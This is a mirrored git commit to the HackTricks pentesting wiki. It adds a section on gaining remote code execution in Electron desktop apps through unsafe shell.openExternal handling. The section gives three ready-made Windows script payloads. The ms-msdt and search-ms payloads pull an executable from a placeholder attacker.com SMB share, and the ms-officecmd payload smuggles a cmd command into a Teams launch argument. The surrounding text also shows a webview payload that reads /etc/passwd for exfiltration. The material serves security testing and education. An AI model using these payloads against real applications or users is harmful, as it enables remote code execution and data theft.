mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 17:07:34 +00:00
GitBook: [#3203] No subject
This commit is contained in:
parent
3567be53d6
commit
d74652dd93
3 changed files with 40 additions and 2 deletions
Binary file not shown.
Before Width: | Height: | Size: 8.4 KiB After Width: | Height: | Size: 125 KiB |
Binary file not shown.
Before Width: | Height: | Size: 8.4 KiB After Width: | Height: | Size: 88 KiB |
|
@ -1,7 +1,5 @@
|
|||
# XSS to RCE Electron Desktop Apps
|
||||
|
||||
## XSS to RCE Electron Desktop Apps
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
@ -177,6 +175,46 @@ If there are restrictions applied when you click a link you might be able to byp
|
|||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
|
||||
## RCE via shell.openExternal
|
||||
|
||||
If the Electron desktop application is deployed with proper `nodeIntegration`, `contextIsolation` settings; it simply means that **client-side RCE by targeting preload scripts or Electron native code from the main process can not be achieved**.
|
||||
|
||||
Each time a user clicks the link or opens a new window, the following event listeners are invoked:
|
||||
|
||||
```
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
|
||||
The desktop application **overrides these listeners** to implement the desktop application’s own **business logic**. During the creation of new windows, the application checks whether the navigated link should be opened in a desktop application’s window or tab, or whether it should be opened in the web browser. In our example the verification is implemented with the function `openInternally`, if it returns `false`, the application will assume that the link should be opened in the web browser using the `shell.openExternal` function.
|
||||
|
||||
**Here is a simplified pseudocode:**
|
||||
|
||||
![](<../../../.gitbook/assets/image (638).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (620).png>)
|
||||
|
||||
Accordingly to Electron JS security best practices, the `openExternal` function **should not accept untrusted content** **because that could lead to RCE abusing different potocols** if the application does not limit users navigation through protocols such as https:// or http://.
|
||||
|
||||
Different OS support different protocols that could trigger RCE, for more info about them check [https://positive.security/blog/url-open-rce](https://positive.security/blog/url-open-rce#windows-10-19042) but here you have some Windows examples:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
|
||||
</script>
|
||||
|
||||
|
||||
<script>
|
||||
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
|
||||
</script>
|
||||
|
||||
|
||||
<script>
|
||||
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
|
||||
</script>
|
||||
```
|
||||
|
||||
For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
## Read Internal Files: XSS + contextIsolation
|
||||
|
||||
If `contextIsolation` set to false you can try to use \<webview> (similar to \<iframe> but can load local files) to read local files and exfiltrate them: using something like **\<webview src=”file:///etc/passwd”>\</webview>:**
|
||||
|
|
Loading…
Reference in a new issue